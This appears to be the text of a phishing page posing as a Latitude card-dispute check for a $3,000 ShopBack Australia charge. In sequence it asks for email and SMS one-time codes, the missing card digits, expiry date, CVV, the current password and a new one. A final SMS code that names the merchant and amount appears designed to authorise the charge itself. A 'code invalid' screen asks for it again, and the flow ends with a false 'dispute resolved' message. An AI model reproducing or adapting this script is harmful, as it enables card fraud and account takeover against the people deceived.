Quick check

We spotted a charge that needs a look.

It only takes a minute. We'll walk you through each step.

ShopBack Australia

—

$3,000.00 AUD

Do you recognise this transaction?

You need to authorise this device

We have sent a security code to you@example.com.

Please confirm it by entering it below

For extra security

We have also sent an SMS to 04XX XXX 678.

Enter the 4-digit code below

Confirm card details

We'll use these to verify ownership of the card used in this transaction.

Card check

A few details from your card.

This proves it's yours. Nothing is stored on this device.

Confirm your card's missing digits

Enter the 8 missing digits using the keypad

Your card expiry?

Enter month and year (MM/YY)

MM / YY

Your card security code?

The 3-digit CVV on the back of your card

CVV

Account security

Next, set a new password.

You'll confirm your current one first, then choose a stronger password.

Set a new password

Confirm your existing password, then choose a new one.

Current password

New password

Confirm new password

✓ At least 7 characters

✓ One capital letter

✓ One lowercase letter

✓ One number

✓ One symbol

✓ Passwords match

Finalise dispute

Submit your dispute for the ShopBack Australia charge of $3,000.00 AUD?

SMS verification

We've sent a one-time code by SMS. The message includes the merchant and amount so you can confirm it's for this dispute.

ShopBack Australia · $3,000.00 AUD

Enter your SMS code

6-digit code for ShopBack Australia · $3,000.00 AUD

Code invalid

That SMS code wasn't recognised. Please try again.

Dispute successfully resolved

Your SMS verification was accepted and the dispute has been finalised.

You're all set

Reference for ShopBack Australia ($3,000.00 AUD) is on file. Latitude Support will email a confirmation shortly.